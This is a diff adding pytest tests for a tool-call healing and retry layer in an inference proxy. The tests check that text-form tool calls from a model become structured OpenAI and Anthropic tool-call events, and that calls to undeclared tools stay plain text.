+        # follows document order (call first here, since it came first).
+        healer = StreamToolCallHealer({"Bash"})
+        text = f"{XML_BASH} then {XML_UNDECLARED} post"
+        events = healer.feed(text) + healer.finalize()
+        assert [k for k, _ in events if k == "tool_call"] == ["tool_call"]
+        assert events[0][0] == "tool_call"
+        joined = _events_text(events)
+        assert XML_UNDECLARED in joined
+        assert "then" in joined and "post" in joined
+
+    def test_text_between_two_healed_calls_keeps_document_order(self):
+        # call A, " middle ", call B in ONE buffer must stream as
+        # call A -> text -> call B, never both calls then the text.
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed(f"{XML_BASH} middle {XML_BASH}") + healer.finalize()
+        kinds = [k for k, _ in events]
+        assert kinds == ["tool_call", "text", "tool_call"]
+        assert events[1][1] == " middle "
+
+    def test_undeclared_then_declared_keeps_document_order(self):
+        # The undeclared block precedes the declared call; its raw text must
+        # be emitted BEFORE the promoted call event, never after.
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed(f"{XML_UNDECLARED} then {XML_BASH}") + healer.finalize()
+        kinds = [k for k, _ in events]
+        assert kinds.index("tool_call") == len(kinds) - 1
+        (call,) = _events_calls(events)
+        assert call["function"]["name"] == "Bash"
+        assert XML_UNDECLARED in _events_text(events)
+
+    def test_declared_promoted_then_late_undeclared_flushes_raw(self):
+        # Streaming causality: the declared call completed and was already
+        # emitted before the undeclared one arrived. The undeclared markup
+        # must still reach the client as raw text (no data loss).
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed(f"{XML_BASH} then ")
+        assert len(_events_calls(events)) == 1
+        events += healer.feed(XML_UNDECLARED) + healer.finalize()
+        assert XML_UNDECLARED in _events_text(events)
+        assert len(_events_calls(events)) == 1
+
+    def test_undeclared_tool_flushes_raw(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed(XML_UNDECLARED) + healer.finalize()
+        assert _events_text(events) == XML_UNDECLARED
+        assert not _events_calls(events)
+
+    def test_two_calls_and_text_between(self):
+        healer = StreamToolCallHealer({"Bash", "Read"})
+        xml_read = '<tool_call>{"name":"Read","arguments":{"path":"f"}}</tool_call>'
+        events = healer.feed(f"{XML_BASH} then {xml_read}") + healer.finalize()
+        calls = _events_calls(events)
+        assert [c["function"]["name"] for c in calls] == ["Bash", "Read"]
+        assert [c["id"] for c in calls] == ["call_0", "call_1"]
+        assert _events_text(events).strip() == "then"
+
+    def test_mistral_array_multiple_calls_all_promoted_in_stream(self):
+        # A canonical Mistral [TOOL_CALLS] array carries several calls under a
+        # SINGLE signal. Draining only the first call would leave the residue
+        # starting at ",{...}]" (no signal), so later calls in the same array
+        # must be promoted in the same pass, not flushed as raw text.
+        healer = StreamToolCallHealer({"get_weather", "get_time"})
+        array = (
+            '[TOOL_CALLS][{"name":"get_weather","arguments":{"city":"Paris"}},'
+            '{"name":"get_time","arguments":{"tz":"UTC"}}]'
+        )
+        events = healer.feed(array) + healer.finalize()
+        calls = _events_calls(events)
+        assert [c["function"]["name"] for c in calls] == ["get_weather", "get_time"]
+        assert [c["id"] for c in calls] == ["call_0", "call_1"]
+        assert _events_text(events) == ""
+
+    def test_mistral_array_multiple_calls_promoted_char_by_char(self):
+        healer = StreamToolCallHealer({"get_weather", "get_time"})
+        array = (
+            '[TOOL_CALLS][{"name":"get_weather","arguments":{"city":"Paris"}},'
+            '{"name":"get_time","arguments":{"tz":"UTC"}}]'
+        )
+        events = []
+        for ch in array:
+            events += healer.feed(ch)
+        events += healer.finalize()
+        calls = _events_calls(events)
+        assert [c["function"]["name"] for c in calls] == ["get_weather", "get_time"]
+        assert _events_text(events) == ""
+
+    def test_mistral_array_undeclared_middle_kept_as_text_others_promoted(self):
+        # A mid-array element for a tool that is not declared must survive as
+        # text while the declared neighbours on either side still promote in
+        # document order.
+        healer = StreamToolCallHealer({"a", "c"})
+        array = (
+            '[TOOL_CALLS][{"name":"a","arguments":{}},'
+            '{"name":"b","arguments":{}},{"name":"c","arguments":{}}]'
+        )
+        events = healer.feed(array) + healer.finalize()
+        assert [c["function"]["name"] for c in _events_calls(events)] == ["a", "c"]
+        assert '"b"' in _events_text(events)
+
+    def test_mistral_array_then_trailing_prose(self):
+        healer = StreamToolCallHealer({"a", "b"})
+        array = '[TOOL_CALLS][{"name":"a","arguments":{}},{"name":"b","arguments":{}}]'
+        events = healer.feed(f"{array} all done") + healer.finalize()
+        assert [c["function"]["name"] for c in _events_calls(events)] == ["a", "b"]
+        assert "all done" in _events_text(events)
+
+    def test_incomplete_call_healed_at_finalize(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed('<tool_call>{"name":"Bash","arguments":{"cmd":"ls"}}')
+        assert events == []  # held
+        events = healer.finalize()
+        (call,) = _events_calls(events)
+        assert call["function"]["name"] == "Bash"
+
+    def test_teaching_text_flushes_at_finalize(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed("<tool_call> is the marker syntax") + healer.finalize()
+        assert _events_text(events) == "<tool_call> is the marker syntax"
+        assert not _events_calls(events)
+
+    def test_hold_bound_flushes(self):
+        healer = StreamToolCallHealer({"Bash"})
+        blob = "<tool_call>" + "x" * (64 * 1024 + 10)
+        events = healer.feed(blob) + healer.finalize()
+        assert _events_text(events) == blob
+        assert not _events_calls(events)
+
+    def test_dormant_after_structured_delta(self):
+        healer = StreamToolCallHealer({"Bash"})
+        held = healer.feed("prefix <tool")
+        flush = healer.structured_tool_call_seen()
+        after = healer.feed(XML_BASH) + healer.finalize()
+        assert _events_text(held + flush + after) == f"prefix <tool{XML_BASH}"
+        assert not _events_calls(after)
+
+
+class TestNudgeHelpers:
+    def _resp(
+        self,
+        content,
+        tool_calls = None,
+    ):
+        msg = {"role": "assistant", "content": content}
+        if tool_calls:
+            msg["tool_calls"] = tool_calls
+        return {"choices": [{"message": msg, "finish_reason": "stop"}]}
+
+    def test_retry_on_unparseable_signal(self):
+        # Signal present but the JSON never parses and no declared name matches.
+        data = self._resp("<tool_call>call Bash somehow???")
+        assert nudge_should_retry(data, {"Read"}) is True
+
+    def test_no_retry_on_clean_prose(self):
+        assert nudge_should_retry(self._resp("all done"), {"Bash"}) is False
+
+    def test_no_retry_when_heal_would_succeed(self):
+        assert nudge_should_retry(self._resp(XML_BASH), {"Bash"}) is False
+
+    def test_no_retry_with_structured_calls(self):
+        data = self._resp("", tool_calls = [{"id": "x"}])
+        assert nudge_should_retry(data, {"Bash"}) is False
+
+    def test_no_retry_when_healing_disabled(self):
+        assert nudge_should_retry(self._resp("<tool_call>???"), None) is False
+
+    def test_nudge_messages_shape(self):
+        data = self._resp("<tool_call>garbage")
+        suffix = nudge_messages(data, {"Bash", "Read"})
+        assert [m["role"] for m in suffix] == ["assistant", "user"]
+        assert suffix[0]["content"] == "<tool_call>garbage"
+        assert "`Bash` or `Read`" in suffix[1]["content"]
+
+    def test_retry_with_undeclared_structured_call_is_not_an_improvement(self):
+        # The retry replaces the original only when it carries a USABLE call:
+        # a structured call naming an undeclared tool must not count.
+        undeclared = [
+            {"id": "x", "type": "function", "function": {"name": "Nuke", "arguments": "{}"}}
+        ]
+        declared = [
+            {"id": "y", "type": "function", "function": {"name": "Bash", "arguments": "{}"}}
+        ]
+        assert response_has_promotable_calls(self._resp("", undeclared), {"Bash"}) is False
+        assert response_has_promotable_calls(self._resp("", declared), {"Bash"}) is True
+
+    def test_retry_with_mixed_structured_calls_is_not_an_improvement(self):
+        # ALL structured calls must be declared: the caller forwards the whole
+        # list (and a parallel cap could keep only the FIRST), so a mixed retry
+        # could still hand the client an undeclared tool.
+        mixed = [
+            {"id": "x", "type": "function", "function": {"name": "Nuke", "arguments": "{}"}},
+            {"id": "y", "type": "function", "function": {"name": "Bash", "arguments": "{}"}},
+        ]
+        assert response_has_promotable_calls(self._resp("", mixed), {"Bash"}) is False
+        assert (
+            response_has_promotable_calls(self._resp("", list(reversed(mixed))), {"Bash"}) is False
+        )
+
+    @pytest.mark.parametrize(
+        "data",
+        [
+            None,
+            "not a dict",
+            {},
+            {"choices": []},
+            {"choices": [{}]},
+            {"choices": [{"message": None}]},  # llama-server error bodies do this
+            {"choices": [{"message": "not a dict"}]},
+            {"choices": [{"message": {"content": None}}]},
+            {"error": {"message": "boom"}},
+        ],
+    )
+    def test_malformed_response_shapes_never_raise(self, data):
+        # A malformed upstream body must degrade to "nothing to heal/nudge",
+        # never crash the request with an AttributeError.
+        assert nudge_should_retry(data, {"Bash"}) is False
+        assert response_has_promotable_calls(data, {"Bash"}) is False
+        suffix = nudge_messages(data, {"Bash"})
+        assert suffix[0] == {"role": "assistant", "content": ""}
+
+
+# ── Route-level wiring (OpenAI passthrough) ─────────────────────────────
+# Mirrors the fake-llama-server patterns in test_openai_tool_passthrough.py.
+
+import asyncio  # noqa: E402
+import threading  # noqa: E402
+from types import SimpleNamespace  # noqa: E402
+
+import httpx  # noqa: E402
+
+from core.inference.api_monitor import ApiMonitor  # noqa: E402
+from models.inference import ChatCompletionRequest, ChatMessage  # noqa: E402
+from routes.inference import (  # noqa: E402
+    _openai_passthrough_non_streaming,
+    _openai_passthrough_stream,
+)
+
+LOOKUP_TOOL = {
+    "type": "function",
+    "function": {"name": "lookup", "parameters": {"type": "object", "properties": {}}},
+}
+LOOKUP_XML = '<tool_call>{"name":"lookup","arguments":{"q":"x"}}</tool_call>'
+
+
+def _payload(**kwargs):
+    defaults = dict(
+        model = "default",
+        messages = [ChatMessage(role = "user", content = "hi")],
+        tools = [LOOKUP_TOOL],
+    )
+    defaults.update(kwargs)
+    return ChatCompletionRequest(**defaults)
+
+
+def _llama_backend():
+    return SimpleNamespace(
+        base_url = "http://llama.test",
+        context_length = 4096,
+        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+    )
+
+
+def _upstream_message(
+    content,
+    tool_calls = None,
+    finish_reason = "stop",
+):
+    message = {"role": "assistant", "content": content}
+    if tool_calls is not None:
+        message["tool_calls"] = tool_calls
+    return {
+        "id": "chatcmpl-up",
+        "object": "chat.completion",
+        "created": 1,
+        "model": "gguf",
+        "choices": [{"index": 0, "message": message, "finish_reason": finish_reason}],
+        "usage": {"prompt_tokens": 1, "completion_tokens": 2, "total_tokens": 3},
+    }
+
+
+class ScriptedClient:
+    """Fake nonstreaming_client() returning scripted JSON bodies, counting POSTs."""
+
+    def __init__(self, bodies):
+        self.bodies = list(bodies)
+        self.posts = []
+
+    async def post(
+        self,
+        _url,
+        json = None,
+        timeout = None,
+        headers = None,
+    ):
+        self.posts.append(json)
+        return httpx.Response(200, json = self.bodies[min(len(self.posts) - 1, len(self.bodies) - 1)])
+
+
+async def _drive_non_streaming(monkeypatch, payload, bodies):
+    import routes.inference as inf_mod
+
+    client = ScriptedClient(bodies)
+    monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client)
+    response = await _openai_passthrough_non_streaming(
+        _llama_backend(), payload, "gguf", monitor_id = None
+    )
+    return client, json.loads(response.body)
+
+
+async def _drive_stream(monkeypatch, payload, lines):
+    import routes.inference as inf_mod
+
+    class Request:
+        async def is_disconnected(self):
+            return False
+
+    async def fake_send(*_args, **_kwargs):
+        return httpx.Response(200, content = b"")
+
+    async def fake_items(*_args, **_kwargs):
+        for line in lines:
+            yield line
+
+    monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+    monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+    monkeypatch.setattr(inf_mod, "api_monitor", ApiMonitor(max_entries = 3))
+    response = await _openai_passthrough_stream(
+        Request(),
+        threading.Event(),
+        _llama_backend(),
+        payload,
+        "gguf",
+        "chatcmpl-test",
+        monitor_id = None,
+    )
+    return [chunk async for chunk in response.body_iterator]
+
+
+def _stream_payloads(chunks):
+    out = []
+    for chunk in chunks:
+        for line in chunk.splitlines():
+            if line.startswith("data: ") and line[6:] != "[DONE]":
+                out.append(json.loads(line[6:]))
+    return out
+
+
+class TestOpenaiNonStreamingRoute:
+    def test_heals_xml_to_tool_calls(self, monkeypatch):
+        async def _run():
+            client, data = await _drive_non_streaming(
+                monkeypatch, _payload(), [_upstream_message(LOOKUP_XML)]
+            )
+            choice = data["choices"][0]
+            assert choice["finish_reason"] == "tool_calls"
+            (call,) = choice["message"]["tool_calls"]
+            assert call["function"]["name"] == "lookup"
+            assert json.loads(call["function"]["arguments"]) == {"q": "x"}
+            assert choice["message"]["content"] is None
+            assert data["usage"]["total_tokens"] == 3  # usage preserved
+            assert len(client.posts) == 1  # healing never re-requests
+
+        asyncio.run(_run())
+
+    def test_bare_string_uses_client_schema_key(self, monkeypatch):
+        async def _run():
+            content = '<tool_call>{"name":"Bash","arguments":"echo hi"}</tool_call>'
+            _, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(tools = [BASH_COMMAND_TOOL]),
+                [_upstream_message(content)],
+            )
+            (call,) = data["choices"][0]["message"]["tool_calls"]
+            assert json.loads(call["function"]["arguments"]) == {"command": "echo hi"}
+
+        asyncio.run(_run())
+
+    def test_opt_out_relays_verbatim(self, monkeypatch):
+        async def _run():
+            _, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(auto_heal_tool_calls = False),
+                [_upstream_message(LOOKUP_XML)],
+            )
+            choice = data["choices"][0]
+            assert choice["message"]["content"] == LOOKUP_XML
+            assert "tool_calls" not in choice["message"]
+            assert choice["finish_reason"] == "stop"
+
+        asyncio.run(_run())
+
+    def test_no_tools_untouched(self, monkeypatch):
+        async def _run():
+            _, data = await _drive_non_streaming(
+                monkeypatch, _payload(tools = None), [_upstream_message(LOOKUP_XML)]
+            )
+            assert data["choices"][0]["message"]["content"] == LOOKUP_XML
+
+        asyncio.run(_run())
+
+    def test_undeclared_tool_not_promoted(self, monkeypatch):
+        async def _run():
+            xml = '<tool_call>{"name":"rogue","arguments":{}}</tool_call>'
+            _, data = await _drive_non_streaming(monkeypatch, _payload(), [_upstream_message(xml)])
+            assert data["choices"][0]["message"]["content"] == xml
+            assert "tool_calls" not in data["choices"][0]["message"]
+
+        asyncio.run(_run())
+
+    def test_structured_calls_untouched(self, monkeypatch):
+        async def _run():
+            native = [
+                {
+                    "id": "call_up",
+                    "type": "function",
+                    "function": {"name": "lookup", "arguments": "{}"},
+                }
+            ]
+            _, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(),
+                [_upstream_message("", tool_calls = native, finish_reason = "tool_calls")],
+            )
+            assert data["choices"][0]["message"]["tool_calls"] == native
+
+        asyncio.run(_run())
+
+    def test_length_finish_reason_preserved(self, monkeypatch):
+        async def _run():
+            # Truncated generation: the healed call stays attached but the
+            # client must still see the truncation, so length is never
+            # upgraded to tool_calls.
+            _, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(),
+                [_upstream_message(LOOKUP_XML, finish_reason = "length")],
+            )
+            choice = data["choices"][0]
+            assert choice["finish_reason"] == "length"
+            (call,) = choice["message"]["tool_calls"]
+            assert call["function"]["name"] == "lookup"
+
+        asyncio.run(_run())
+
+    def test_tool_choice_none_relays_verbatim(self, monkeypatch):
+        async def _run():
+            _, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(tool_choice = "none"),
+                [_upstream_message(LOOKUP_XML)],
+            )
+            message = data["choices"][0]["message"]
+            assert message["content"] == LOOKUP_XML
+            assert "tool_calls" not in message
+
+        asyncio.run(_run())
+
+    def test_tool_choice_forcing_other_function_not_promoted(self, monkeypatch):
+        async def _run():
+            _, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(tool_choice = {"type": "function", "function": {"name": "other"}}),
+                [_upstream_message(LOOKUP_XML)],
+            )
+            message = data["choices"][0]["message"]
+            assert message["content"] == LOOKUP_XML
+            assert "tool_calls" not in message
+
+        asyncio.run(_run())
+
+    def test_mixed_declared_and_undeclared_promotes_and_keeps_text(self, monkeypatch):
+        async def _run():
+            rogue = '<tool_call>{"name":"rogue","arguments":{}}</tool_call>'
+            mixed = f"{LOOKUP_XML} also {rogue}"
+            _, data = await _drive_non_streaming(
+                monkeypatch, _payload(), [_upstream_message(mixed)]
+            )
+            choice = data["choices"][0]
+            (call,) = choice["message"]["tool_calls"]
+            assert call["function"]["name"] == "lookup"
+            assert rogue in choice["message"]["content"]
+            assert choice["finish_reason"] == "tool_calls"
+
+        asyncio.run(_run())
+
+    def test_healed_then_native_stream_indexes_disjoint(self, monkeypatch):
+        async def _run():
+            # A healed text-form call goes out first (index 0); a native
+            # structured delta follows. Clients merge deltas by index, so the
+            # native call must be shifted off index 0 or the two would merge.
+            native_line = (
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"tool_calls":'
+                '[{"index":0,"id":"call_native","type":"function","function":'
+                '{"name":"lookup","arguments":"{}"}}]}}]}'
+            )
+            lines = [
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"content":'
+                + json.dumps(LOOKUP_XML)
+                + "}}]}",
+                native_line,
+                'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(stream = True), lines)
+            indexes = {}
+            for payload_data in _stream_payloads(chunks):
+                for ch in payload_data.get("choices", []):
+                    for tc in (ch.get("delta") or {}).get("tool_calls") or []:
+                        indexes.setdefault(tc["index"], tc.get("id"))
+            assert indexes.get(0, "").startswith("call_") and indexes[0] != "call_native"
+            assert indexes.get(1) == "call_native"
+
+        asyncio.run(_run())
+
+    def test_role_delta_precedes_healed_stream_content(self, monkeypatch):
+        async def _run():
+            lines = [
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"role":"assistant","content":'
+                + json.dumps(LOOKUP_XML)
+                + "}}]}",
+                'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(stream = True), lines)
+            payloads = _stream_payloads(chunks)
+            first_delta = payloads[0]["choices"][0]["delta"]
+            assert first_delta == {"role": "assistant"}
+            assert "tool_calls" in payloads[1]["choices"][0]["delta"]
+
+        asyncio.run(_run())
+
+    def test_same_chunk_role_content_finish_delays_finish_until_after_healed_tool(
+        self, monkeypatch
+    ):
+        async def _run():
+            lines = [
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"role":"assistant","content":'
+                + json.dumps(LOOKUP_XML)
+                + '},"finish_reason":"stop"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(stream = True), lines)
+            payloads = _stream_payloads(chunks)
+            assert payloads[0]["choices"][0]["finish_reason"] is None
+            assert payloads[0]["choices"][0]["delta"] == {"role": "assistant"}
+            assert "tool_calls" in payloads[1]["choices"][0]["delta"]
+            assert payloads[-1]["choices"][0]["finish_reason"] == "tool_calls"
+
+        asyncio.run(_run())
+
+
+GARBAGE_SIGNAL = "<tool_call>call lookup somehow???"
+
+
+class TestNudgeRetryOpenai:
+    def test_retry_recovers_call(self, monkeypatch):
+        async def _run():
+            client, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(nudge_tool_calls = True),
+                [_upstream_message(GARBAGE_SIGNAL), _upstream_message(LOOKUP_XML)],
+            )
+            assert len(client.posts) == 2  # exactly one retry
+            # Prefix byte-identical, nudge suffix appended (KV-cache reuse guard).
+            original, retry = client.posts
+            assert retry["messages"][: len(original["messages"])] == original["messages"]
+            suffix = retry["messages"][len(original["messages"]) :]
+            assert [m["role"] for m in suffix] == ["assistant", "user"]
+            assert suffix[0]["content"] == GARBAGE_SIGNAL
+            # The healed retry response is returned.
+            (call,) = data["choices"][0]["message"]["tool_calls"]
+            assert call["function"]["name"] == "lookup"
+            assert data["choices"][0]["finish_reason"] == "tool_calls"
+
+        asyncio.run(_run())
+
+    def test_retry_still_garbage_returns_original(self, monkeypatch):
+        async def _run():
+            client, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(nudge_tool_calls = True),
+                [_upstream_message(GARBAGE_SIGNAL), _upstream_message(GARBAGE_SIGNAL + "2")],
+            )
+            assert len(client.posts) == 2
+            assert data["choices"][0]["message"]["content"] == GARBAGE_SIGNAL
+            assert "tool_calls" not in data["choices"][0]["message"]
+
+        asyncio.run(_run())
+
+    def test_default_off_single_post(self, monkeypatch):
+        async def _run():
+            client, _ = await _drive_non_streaming(
+                monkeypatch, _payload(), [_upstream_message(GARBAGE_SIGNAL)]
+            )
+            assert len(client.posts) == 1
+
+        asyncio.run(_run())
+
+    def test_no_retry_on_clean_prose(self, monkeypatch):
+        async def _run():
+            client, _ = await _drive_non_streaming(
+                monkeypatch,
+                _payload(nudge_tool_calls = True),
+                [_upstream_message("all done")],
+            )
+            assert len(client.posts) == 1
+
+        asyncio.run(_run())
+
+    def test_no_retry_when_heal_succeeds(self, monkeypatch):
+        async def _run():
+            client, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(nudge_tool_calls = True),
+                [_upstream_message(LOOKUP_XML)],
+            )
+            assert len(client.posts) == 1
+            assert data["choices"][0]["message"]["tool_calls"]
+
+        asyncio.run(_run())
+
+    def test_heal_opt_out_disables_nudge_too(self, monkeypatch):
+        async def _run():
+            client, _ = await _drive_non_streaming(
+                monkeypatch,
+                _payload(auto_heal_tool_calls = False, nudge_tool_calls = True),
+                [_upstream_message(GARBAGE_SIGNAL)],
+            )
+            assert len(client.posts) == 1
+
+        asyncio.run(_run())
+
+
+class TestNudgeRetryAnthropic:
+    async def _drive(
+        self,
+        monkeypatch,
+        bodies,
+        nudge = None,
+    ):
+        import routes.inference as inf_mod
+        from routes.inference import _anthropic_passthrough_non_streaming
+
+        client = ScriptedClient(bodies)
+        monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client)
+        response = await _anthropic_passthrough_non_streaming(
+            _llama_backend(),
+            [{"role": "user", "content": "hi"}],
+            [LOOKUP_TOOL],
+            0.7,
+            0.95,
+            None,
+            256,
+            "msg_test",
+            "gguf",
+            nudge_tool_calls = nudge,
+        )
+        return client, json.loads(response.body)
+
+    def test_retry_recovers_tool_use(self, monkeypatch):
+        async def _run():
+            client, data = await self._drive(
+                monkeypatch,
+                [_upstream_message(GARBAGE_SIGNAL), _upstream_message(LOOKUP_XML)],
+                nudge = True,
+            )
+            assert len(client.posts) == 2
+            (block,) = [b for b in data["content"] if b["type"] == "tool_use"]
+            assert block["name"] == "lookup"
+            assert data["stop_reason"] == "tool_use"
+
+        asyncio.run(_run())
+
+    def test_healed_tool_use_precedes_trailing_text(self, monkeypatch):
+        async def _run():
+            _, data = await self._drive(monkeypatch, [_upstream_message(f"{LOOKUP_XML} done")])
+            assert [block["type"] for block in data["content"]] == ["tool_use", "text"]
+            assert data["content"][1]["text"] == "done"
+
+        asyncio.run(_run())
+
+    def test_default_off(self, monkeypatch):
+        async def _run():
+            client, _ = await self._drive(monkeypatch, [_upstream_message(GARBAGE_SIGNAL)])
+            assert len(client.posts) == 1
+
+        asyncio.run(_run())
+
+
+class TestAnthropicPassthroughHealingText:
+    """Non-streaming Anthropic passthrough must relay unpromoted (undeclared)
+    text-form calls as text, matching the OpenAI passthrough contract. Once
+    heal_openai_message promotes the declared call it span-trims only that
+    markup and deliberately leaves the undeclared bytes in the content; the
+    legacy blanket _TOOL_XML_RE strip must not delete them.
+    """
+
+    async def _drive(self, monkeypatch, upstream):
+        import routes.inference as inf_mod
+        from routes.inference import _anthropic_passthrough_non_streaming
+
+        client = ScriptedClient([upstream])
+        monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client)
+        response = await _anthropic_passthrough_non_streaming(
+            _llama_backend(),
+            [{"role": "user", "content": "hi"}],
+            [LOOKUP_TOOL],
+            0.7,
+            0.95,
+            None,
+            256,
+            "msg_test",
+            "gguf",
+        )
+        return json.loads(response.body)
+
+    def test_mixed_declared_and_undeclared_relays_undeclared_as_text(self, monkeypatch):
+        async def _run():
+            content = f"Running now. {LOOKUP_XML} then {XML_UNDECLARED} done."
+            data = await self._drive(monkeypatch, _upstream_message(content))
+            # Declared lookup call is promoted into a structured tool_use block.
+            (tool_use,) = [b for b in data["content"] if b["type"] == "tool_use"]
+            assert tool_use["name"] == "lookup"
+            text = " ".join(b["text"] for b in data["content"] if b["type"] == "text")
+            assert XML_UNDECLARED in text
+            assert "Running now." in text and "done." in text
+            assert LOOKUP_XML not in text
+
+        asyncio.run(_run())
+
+
+class TestAnthropicEmitterHealing:
+    def _events(
+        self,
+        emitter,
+        chunks,
+        finish = True,
+    ):
+        lines = []
+        for chunk in chunks:
+            lines += emitter.feed_chunk(chunk)
+        if finish:
+            lines += emitter.finish()
+        return [json.loads(ln.split("data: ", 1)[1]) for ln in lines if "data: " in ln]
+
+    def _emitter(
+        self,
+        allowed = ("lookup",),
+        **kwargs,
+    ):
+        from core.inference.anthropic_compat import AnthropicPassthroughEmitter
+
+        emitter = AnthropicPassthroughEmitter()
+        emitter.enable_healing(set(allowed), **kwargs)
+        return emitter
+
+    def _chunk(
+        self,
+        content = None,
+        tool_calls = None,
+        finish_reason = None,
+    ):
+        delta = {}
+        if content is not None:
+            delta["content"] = content
+        if tool_calls is not None:
+            delta["tool_calls"] = tool_calls
+        return {"choices": [{"delta": delta, "finish_reason": finish_reason}]}
+
+    def test_xml_becomes_tool_use_block_and_stop_reason(self):
+        events = self._events(
+            self._emitter(),
+            [
+                self._chunk(content = LOOKUP_XML),
+                self._chunk(finish_reason = "stop"),
+            ],
+        )
+        starts = [e for e in events if e.get("type") == "content_block_start"]
+        (tool_start,) = [e for e in starts if e["content_block"]["type"] == "tool_use"]
+        assert tool_start["content_block"]["name"] == "lookup"
+        assert tool_start["content_block"]["id"].startswith("toolu_")
+        (args,) = [
+            e["delta"]["partial_json"]
+            for e in events
+            if e.get("type") == "content_block_delta" and e["delta"]["type"] == "input_json_delta"
+        ]
+        assert json.loads(args) == {"q": "x"}
+        (message_delta,) = [e for e in events if e.get("type") == "message_delta"]
+        assert message_delta["delta"]["stop_reason"] == "tool_use"
+
+    def test_mid_block_signal_closes_text_block_first(self):
+        events = self._events(
+            self._emitter(),
+            [
+                self._chunk(content = f"Let me check {LOOKUP_XML}"),
+                self._chunk(finish_reason = "stop"),
+            ],
+        )
+        kinds = [
+            (e["type"], (e.get("content_block") or e.get("delta") or {}).get("type"))
+            for e in events
+            if e["type"].startswith("content_block")
+        ]
+        # text opens, streams the safe prefix, closes; then the tool_use block.
+        assert kinds[0] == ("content_block_start", "text")
+        assert kinds[1] == ("content_block_delta", "text_delta")
+        assert kinds[2] == ("content_block_stop", None)
+        assert kinds[3] == ("content_block_start", "tool_use")
+        texts = [
+            e["delta"]["text"]
+            for e in events
+            if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta"
+        ]
+        assert "".join(texts) == "Let me check "
+
+    def test_false_alarm_streams_as_text(self):
+        events = self._events(
+            self._emitter(),
+            [self._chunk(content = "use the <div> tag"), self._chunk(finish_reason = "stop")],
+        )
+        texts = [
+            e["delta"]["text"]
+            for e in events
+            if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta"
+        ]
+        assert "".join(texts) == "use the <div> tag"
+        (message_delta,) = [e for e in events if e.get("type") == "message_delta"]
+        assert message_delta["delta"]["stop_reason"] == "end_turn"
+
+    def test_signal_split_across_chunks(self):
+        events = self._events(
+            self._emitter(),
+            [
+                self._chunk(content = "<tool"),
+                self._chunk(content = '_call>{"name":"lookup","arguments":{}}'),
+                self._chunk(finish_reason = "stop"),
+            ],
+        )
+        starts = [e for e in events if e.get("type") == "content_block_start"]
+        assert [e["content_block"]["type"] for e in starts] == ["tool_use"]
+        texts = [
+            e
+            for e in events
+            if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta"
+        ]
+        assert texts == []
+
+    def test_max_tokens_wins_over_healed_stop_reason(self):
+        events = self._events(
+            self._emitter(),
+            [self._chunk(content = LOOKUP_XML), self._chunk(finish_reason = "length")],
+        )
+        (message_delta,) = [e for e in events if e.get("type") == "message_delta"]
+        assert message_delta["delta"]["stop_reason"] == "max_tokens"
+
+    def test_structured_deltas_disable_healing_and_flush(self):
+        structured = [
+            {
+                "index": 0,
+                "id": "call_up",
+                "function": {"name": "lookup", "arguments": "{}"},
+            }
+        ]
+        events = self._events(
+            self._emitter(),
+            [
+                self._chunk(content = "held <tool"),
+                self._chunk(tool_calls = structured),
+                self._chunk(finish_reason = "tool_calls"),
+            ],
+        )
+        texts = [
+            e["delta"]["text"]
+            for e in events
+            if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta"
+        ]
+        assert "".join(texts) == "held <tool"  # nothing swallowed
+        starts = [e for e in events if e.get("type") == "content_block_start"]
+        assert [e["content_block"]["type"] for e in starts] == ["text", "tool_use"]
+
+    def test_disable_parallel_caps_healed_calls(self):
+        two = LOOKUP_XML + '<tool_call>{"name":"lookup","arguments":{"q":"y"}}</tool_call>'
+        events = self._events(
+            self._emitter(disable_parallel_tool_use = True),
+            [self._chunk(content = two), self._chunk(finish_reason = "stop")],
+        )
+        starts = [
+            e
+            for e in events
+            if e.get("type") == "content_block_start" and e["content_block"]["type"] == "tool_use"
+        ]
+        assert len(starts) == 1
+
+    def test_disable_parallel_drops_native_after_healed(self):
+        # A healed call consumed the single allowed slot; a later native
+        # structured call (index 0, so it survives the caller's chunk-level
+        # cap) must not open a second tool_use block.
+        structured = [
+            {
+                "index": 0,
+                "id": "call_up",
+                "function": {"name": "lookup", "arguments": "{}"},
+            }
+        ]
+        events = self._events(
+            self._emitter(disable_parallel_tool_use = True),
+            [
+                self._chunk(content = LOOKUP_XML),
+                self._chunk(tool_calls = structured),
+                self._chunk(finish_reason = "tool_calls"),
+            ],
+        )
+        starts = [
+            e
+            for e in events
+            if e.get("type") == "content_block_start" and e["content_block"]["type"] == "tool_use"
+        ]
+        assert len(starts) == 1
+
